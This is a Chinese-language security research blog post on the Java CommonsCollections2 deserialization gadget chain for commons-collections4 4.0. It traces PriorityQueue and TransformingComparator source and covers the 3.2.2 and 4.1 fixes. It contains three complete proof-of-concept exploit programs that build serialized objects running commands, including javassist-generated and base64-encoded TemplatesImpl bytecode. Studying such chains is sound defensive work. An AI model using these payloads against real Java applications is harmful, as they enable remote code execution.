CommonsCollections 2

前面的cc1、cc3、cc6都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的,但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。但是org.apache.commons:commons-collections4groupIdartifactId都变了,形成了两个分支。

因为commons-collections4不是用来替换commons-collections的一个新版本,而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。两者的命名空间并不冲突,都可以放在同一个项目中,当于作为一个拓展。

commons-collections4改动

我们用cc6链的poc做实验,直接将包名一改,把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

2024-11-01T14:38:48.png

CommonsCollections-4.0版本中,删除了LazyMapdecorate方法,但是有一个lazyMap方法,方法内容一样,所以直接替换一下方法名就可以用:

# 老版本
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}    

# 4.0
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
    return new LazyMap(map, factory);
}

LazyMap.decorate()改成LazyMap.lazyMap(),运行,弹出计算机,说明老的cc1、cc3、cc6都可以在新的collections4上继续使用

cc2预备

PriorityQueue利用链

cc链的核心,毫无疑问是Transformer#transform(),我们得想办法调入transform中,在里面去执行命令;而cc链的入口,就是Serializable#readObject() ,所以说我们要做的,就是想办法把它们头尾连起来

而在CommonsCollections2中,有两个核心类,也就是链子的一头一尾:

一个是java.util.PriorityQueue,这个类中有自己的readObject()方法,所以说可以作为链子的开头:

优先队列PriorityQueueQueue接口的实现类,基于二叉堆实现,可以对其中元素进行排序,和先进先出(FIFO)的队列的区别在于,优先队列每次出队的元素都是优先级最高的元素,Java通过堆使得每次出队的元素总是队列里面最小的

二叉堆是一种特殊的堆,是完全二叉树或者近似于完全二叉树,二叉堆分为最大堆和最小堆 最大堆:父结点的键值总是大于或等于任何一个子节点的键值;最小堆:父结点的键值总是小于或等于任何一个子节点的键值

重点在于每次排序都要触发传入的比较器comparator的compare()方法。并且这个类重写了readObject()方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

该函数中s.defaultReadObject()调用默认的方法,利用readInt()读取了数组的大小,接着通过s.readObject()读取Queue中的元素,因为在反序列化的时候队列元素也被序列化了,接着调用heapify()方法,跟进一下

@SuppressWarnings("unchecked")
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

该函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法。>>>无符号右移,将第一个操作数向右移动指定的位数。向右移动的多余位将被丢弃,零位从左侧移入,其符号位变为 0,因此其表示的结果始终为非负数。该函数将无序数组 queue 的内容还原为二叉堆( 优先级队列 )。继续跟进siftDown()方法

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

这里会判断是否拥有比较器comparator而进入不同比较逻辑。在PriorityQueue的构造方法中是否拥有比较器是可控的,这里要注意当initialCapacity的值小于1时会抛出异常,所以初始化时传入的值要大于或等于2。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

然后跟进有比较器时调用的siftDownUsingComparator()方法

@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

该函数当k < half时就能进入循环,调用到比较器的compare()方法⽐较树的节点,这里half = size >>> 1k来自heapify()的循环变量 i 其最小值为0,所以推导出size>=2,这里很容易理解,至少需要两个元素才能触发排序和比较。而size默认值是为0的,需要经过两次入队(offer)后变为2,即调用Queue#add()方法

public boolean add(E e) {
    return offer(e);
}
// ...
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;  // <--size的值增加
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

总而言之,整个优先队列调用重写后的readObject()方法反序列化,然后反序列化队列元素,并调用heapify()方法,让队列中的元素保持优先级顺序,而排序过程就是二叉堆的树节点下移的过程,即调用siftDown()方法,并调用compare()⽅法⽐较树的节点

TransformingComparator

org.apache.commons.collections4.comparators.TransformingComparator是cc2链子的尾,这个类中有调用transform()方法的函数compare()

TransformingComparator是一个比较器comparator,实现了java.util.Comparator接⼝

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

ChainedTransformer对象作为参数传入时就会调用ChainedTransformer#transform反射链执行命令

这就是cc2链的尾巴,之所以commons-collections3.1-3.2.1版本无法使用是因为TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化

那么将比较器设置为TransformingComparator就能实现利用链调用了

这条链子就是从PriorityQueue类中的readObject()方法到TransformingComparator类中的compare()方法:

PriorityQueue类中的readObject()方法里面调用了heapify()heapify()里面调用了siftDown()siftDown()里面调用了siftDownUsingComparatorsiftDownUsingComparator里面调用了comparator.compare(),就成功调用到上面TransformingComparator类中的compare()方法。

POC

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CommonsCollections_2 {
    public static void main(String[] args) throws Exception {
        // 构造假Transformer数组
        Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransfromer);
        // 将ChainedTransformer对象放入TransformingComparator对象中
        Comparator comparator = new TransformingComparator(transformerChain);
        // initialCapacity >=2,将比较器设置为TransformingComparator
        Queue queue = new PriorityQueue(2, comparator);
        // size>=2,添加队列元素用于比较,且元素类型一致
        queue.add(1);
        queue.add(2);
        // 放入真正的恶意对象
        setFieldValue(transformerChain, "iTransformers", transformer);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

但我们发现transient Object[] queue;变量被transient 修饰,在序列化时应该不被写入流中,但我们却能从流中反序列化queue中的元素。

这是因为序列化规范允许待序列化的类实现writeObject方法,实现对自己的成员控制权:

private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out element count, and any hidden stuff
    s.defaultWriteObject();

    // Write out array length, for compatibility with 1.5 version
    s.writeInt(Math.max(2, size + 1));

    // Write out all elements in the "proper order".
    for (int i = 0; i < size; i++)
        s.writeObject(queue[i]);
}

因此queue被写入到了反序列化流中,从而被readObject()在反序列化流中读取队列元素

利用javassist

那么我们就先利用javassist生成恶意Java字节码并填充在TemplatesImpl对象的_bytecodes属性

// 创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");  // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();

poc:

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


        // 创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));   // 设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();
        
        // 通过反射注入bytes的值
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  // 反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  // 反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl, new byte[][]{bytes});  // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        // 通过反射设置_name的值不为null
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");  // 反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl, "L1");

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(transformer);  // 使用TransformingComparator修饰器传入transformer对象

        // 创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");  // 获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);  // 设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");  // 获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});  // 设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

简单点:

首先创建TemplatesImpl对象,然后创造一个人畜无害的transformer,里面随便调用一个方法就行,比如说toString,然后就和上面一样实例化TransformingComparatorPriorityQueue对象,但是这里我们得向队列中添加我们前面创建的TemplatesImpl对象,因为我们不能用数组了,所以说没办法通过ConstantTransformer把对象传进来了,⽽在Comparator#compare() 时,队列⾥的元素将作为参数传⼊transform()⽅法,这就是传给TemplatesImpl#newTransformer的参数,相当于就执行TemplatesImpl对象里的newTransformer()方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;


public class CommonsCollections2_2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "L1mbo");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InvokerTransformer("toString",null,null);
        Comparator comparator = new TransformingComparator(transformer);
        Queue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer,"iMethodName","newTransformer");

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

cc官方修复

Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2;先看3.2.2,通过diff可以发现,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer类(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer等的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常;再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就是说,他们⼏个彻底⽆法序列化和反序列化了----。

最后修改:2024 年 11 月 01 日
如果觉得我的文章对你有用,请随意赞赏